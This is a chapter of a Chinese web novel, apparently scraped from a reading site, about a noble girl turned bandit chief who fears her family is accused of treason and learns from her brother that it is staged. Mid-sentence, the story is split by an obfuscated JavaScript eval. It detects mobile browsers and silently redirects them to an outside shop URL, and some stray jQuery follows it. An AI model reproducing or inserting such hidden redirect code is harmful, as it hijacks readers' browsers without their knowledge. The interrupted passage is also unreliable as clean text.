谢惊瑶心急如焚,很难冷静。
她爹怎么可能通敌呢?
陛下与她父亲向来关系很好,连她来云州当山匪他爹都要反复告诫她不能触犯律法,他怎么可能做出通敌的事?陛下又怎会相信?
谢惊瑶再也在这里待不住,恨不得长双翅膀马上回京。
她向玉芙吩咐下去:“收拾东西,我们回京。”
她要回去搞清楚状况。
她要面见陛下。
她要为她家人洗清冤屈。
如果都做不到的话,她也要和亲人在一起。
死也要死在一起。
想到最坏的结果,谢惊瑶靠在墙根,信从她手上掉下,她身体沿着墙面慢慢滑下来,将自己蜷缩在一起,身体微微颤抖。
她有点害怕。
梁靖义说的没错,她确实很爱哭,她也知道这没什么用,可她就是控制不住。
她从小被送到山上养病,她的亲人们轮流来山上陪她,几乎很少把她一个人留在山上,可她还是很害怕,他们稍微来的晚一些,她就会想,他们是不是把她忘了。
可他们没有忘记过。
人在恐惧之下就容易想起许多回忆,谢惊瑶脑海中就浮现起一幕幕家人的样子。
更害怕了。
不行,她不能哭了。
她强逼着自己从难过的情绪中扯出来,让玉芙先收拾着,她去给映红他们交代山寨的事。
交代过后,她便带着她从京城带来的人准备回去。
不巧,她正没走出几步,就撞上了姜珩。
“山主要去哪?”姜珩察觉到了哪里不对,伸手拉住了她。
谢惊瑶回头时,他更是注意到了她微微发红的眼眶:
姜珩眉头微蹙:“你哭了?”
谢惊瑶看着他拉着她手臂的手,道:“你把手松开。”
“发生什么事了?”
谢惊瑶本就心神不宁,被他这么拽住更加烦躁,即使他可能是好意关心,她依旧没有那个心情与他耐心说话。
“关你什么事?”
姜珩气的想笑,还没继续说什么,谢惊瑶就甩开他的手,抬脚就走。
好心当成驴肝肺。
姜珩认为他真是闲的慌,自讨没趣。
他对着还没走远的谢惊瑶道:“那山主,在下能下山吗?”
“早就跟你说了,你想去哪去哪,离开惊风寨也没人管。”
谢惊瑶自顾尚且不暇,怎么有空去管他的去留?
得到这句话,姜珩随时都可以走。
但他就是高兴不起来。
他觉得自己像少女一时兴起的好玩的器物,她开心了便对他笑脸相待,她不开心了就把他扔在一边,甚至连她为什么不开心他都不配知道。
男人掸了掸身上的灰尘,回头看了眼惊风寨,却往山下而去。
“殿下,咱们的人在山外,虽不能将这惊风寨整个寨子端了,但殿下恢复身份后,从隔壁州调人,可以将这帮逆贼一网打尽。”
男人回头瞥了他一眼:“你有病?”
逐风一愣。
“我要灭了人家寨子作甚?”
虽然这惊风寨有些人十分粗俗,但到底没有犯什么十恶不赦的事,而且都是义匪,一群仁义之辈,若有机会姜珩还想着将其招安。
只是那女匪——
未必会按他想要的那般走,而且,哪能那么便宜她?
姜珩到底是养尊处优惯了,他又不是面团捏的人,尽管知道对方可能有情可原,兴许是真的遇到了什么事,可他如此真心实意地关心,却被她弃如敝履,没有半分好脸色,他又怎么不气恼?
他脸色阴沉着下山,他倒是要看看,她究竟遇上了什么了不得的大事。
*
谢惊瑶本来都已经准备好包裹和马车回京了,可还没等上马车,她就看见了一道熟悉的侍卫身影。
“小姐,大公子约小姐酒楼一叙。”
听到哥哥来云州了,谢惊瑶喜不自胜,一颗心一会儿上一会儿下,心中诸多疑惑,不过信中身在牢狱的兄长既然能到云州来找她,事情应该就没有她想的那么糟糕。
云州一酒楼。
旁人根本不知晓苍狐的真面目,也不知道她这位国公府二小姐长什么样子,因而谢惊瑶并不需要戴面具,只需要用自己原本的面目,就可以隐藏得很好。
她迈上台阶,踏上三楼看见包厢中的兄长时,眼泪险些落了下来。
虽然哥哥戴了面具,可亲人之间的熟悉,让她几乎一眼就能将他认出。
“哥哥!”谢惊瑶眼泪险些又没憋住,久不见面又听闻噩耗的亲人出现在面前,让她比之前要有安全感的多。
谢子兰坐在窗边,手中随意捏着个酒杯,正顺着窗户向下看,听到妹妹的声音,立马回头,银色的面具虽戴在男人的脸上,可还是很难不让人觉得面具之下是一张如何俊朗的脸,端坐在椅,如松如竹。
“阿瑶。”
谢惊瑶三步并两步走到他对面,虽然与哥哥好久不见,但她现在并不想与他叙旧,也不想开哥哥的玩笑,只急道:“哥,国公府是被抄家了吗?你怎么能出来?爹娘怎么样了?可牵连到了姐姐姐夫一家?到底是怎么一回事啊?”
谢惊瑶一句接着一句,根本没给谢子兰半句插话的机会。
所幸谢子兰也不插嘴,只默默地给谢惊瑶倒了杯茶水,等着她一口气说完。
相比于谢惊瑶,谢子兰实在是比她沉稳太多。
但看他一句话也不说,谢惊瑶更着急了:“哥,你快说到底怎么了呀?”
“我来就是特意告诉你。”谢子兰朝谢惊瑶招了招手,谢惊瑶靠近,听他低声道,“国公府没事,是配合陛下演的戏,你就安心先在云州就好,不要慌。”
谢子兰百密一疏,千算万算忘记了妹妹那铺子里还会定期给妹妹寄信,怕她过于着急做出什么冲动的事露于人前,于是他连夜从狱中悄悄出来,日夜兼程,终于在谢惊瑶冲动之前赶到了云州制止了她。
有惊无险。
谢惊瑶高兴得笑了出来,可是心有余悸,她笑着笑着眼泪流了下来,实在忍不住,又觉得在谢子兰面前有些丢人,可又控制不住自己,气得她直接趴在了桌子上。
少女的肩膀一抽一抽地,仔细听能听见极细微的哭声。
“不是吧谢惊瑶,高兴你也哭,你这瑶大当家当了这么多年,怎么还动不动就哭。”谢子兰逗她道。
谢惊瑶都快气死了。
桌子上传来抽抽噎噎的闷声:“你们有计划也不告诉我,就是把我忘了,你们把我忘记了。”
他不知道她得到那封家里出事的信有多担心,恐惧,她甚至陷入深深的自责后悔和愧疚之中。
“那不是又想起来了吗?你知道你哥我途中换了多少匹马吗?那马都快累死了。”
谢惊瑶也不是怪他,她只是大悲大喜后需要发泄情绪。
她在调整,没有理还嘲笑她没出息的谢子兰。
“等我回京城,我就把你说我没长进,嘲笑我,骂我的事告诉爹娘和姐姐。”她的脸依旧埋在桌子上,声音发闷。
谢子兰笑道:“诶呀,你还知道回京城呢。不知道的还以为你要一辈子在这当山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891200|212742||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
主,心里早没有京城国公府那个家了呢。”
谢惊瑶当山匪,当初最反对的就是谢子兰,只是他在家中的地位实在太低,因而他的反对并没有什么效果。
谢惊瑶被他气得更狠,只窝在自己的胳膊里,不去抬头看他。
“你这样容易把自己闷死。”
“你能不能不说话!”谢惊瑶不理解,哥哥的嘴怎么就这么糟糕,怪不得姐姐都成亲两年了,小侄女都快出生了,他还没有成亲!
京城里那些女儿家的长辈,那些有名有姓的大臣,差点被她做御史的兄长骂了个遍!
“不行,我不说话容易给自己闷死。”
谢惊瑶:……
谢子兰到底是做兄长的,他总不至于真跟妹妹一般计较,总不能真看她一直哭,到时候回去遭罪的还是他。
谢子兰从椅子上站起身,站在谢惊瑶旁边,手指怼了怼她:
“别哭了阿瑶。”
“不需要你管,我就是没有长进。”谢惊瑶气道。
那她哭也不是自己能控制的,为什么要光看这一点。
而且他们就是把她忘记了。
不过更多的还是那劫后余生的心悸,以及后怕。
要是国公府真的出事怎么办呢?要是陛下与她爹的兄弟感情慢慢变淡甚至破裂,像史书上写的那些相残的君臣一样怎么办呢?
她懂得不多,但忧虑不少。
“我嘴贱行了吧,不是逗你的吗?怎么听不出来呢。”
他低头看着头发都哭乱了的妹妹,想起来她数年前她趁他睡觉将他的头发编了十多个小麻花辫,难看至极。
那时他也很生气,去找爹娘告状,但他们让他让着妹妹,气得他三天没吃下饭。
后来想想也是,妹妹从小体弱,又不像他和姐姐常年可以在爹娘身边,因而更受父母宠爱些,也实属正常。
谢子兰实在没有办法了,只好道:“你要不消气的话,我短暂的允许你摆弄我的头发,你别哭了,行不?”
谢惊瑶抬头,破涕为笑:“哥哥真好,这么下血本。”
谢子兰看着妹妹狡黠的笑容,心中顿时一阵后悔。
苍天呐。
兄妹二人见面,相处还算勉强融洽,只是他们不知道的是,这份融洽全然落在了另一人的眼中。
姜珩几乎目睹了整个过程。
他听不清他们的对话,只能看见二人的动作。
他看着谢惊瑶又和一个男人说笑,那男人戴着面具,却是浑身气质非凡,看上去不像普通人,更像是哪个高门世家子弟。
他看着她对他展露笑容,全是信任地期待着他的话,这种信任的眼神却从未对他有过。
后来似是发生了什么矛盾,她趴在桌子上哭了,这可是少女脆弱的一面。
那个男人竟然能让那女匪如此心安理得地展示自己脆弱的一面,可见他在她心里的位置。
她脸上的乌云消散了。
原来,她的难过并不是遇见了什么棘手的事,而只是因为想见这个男人。
见到了,她心情便多云转晴。
可真是个蠢货。
姜珩自嘲。
他又被她戏弄了。
“殿下,您对惊风寨既然不做什么,那我们现在走吗?”
姜珩看着还在与面具男人说笑的少女,森白的牙齿都要咬碎。
“不。”
“过几天再走。”
他黑眸阴沉,死死盯着那扇窗户,盯着窗户里若隐若现的人:
“好不容易出来一趟,总要带回去点什么,才够这一路的颠沛流离。”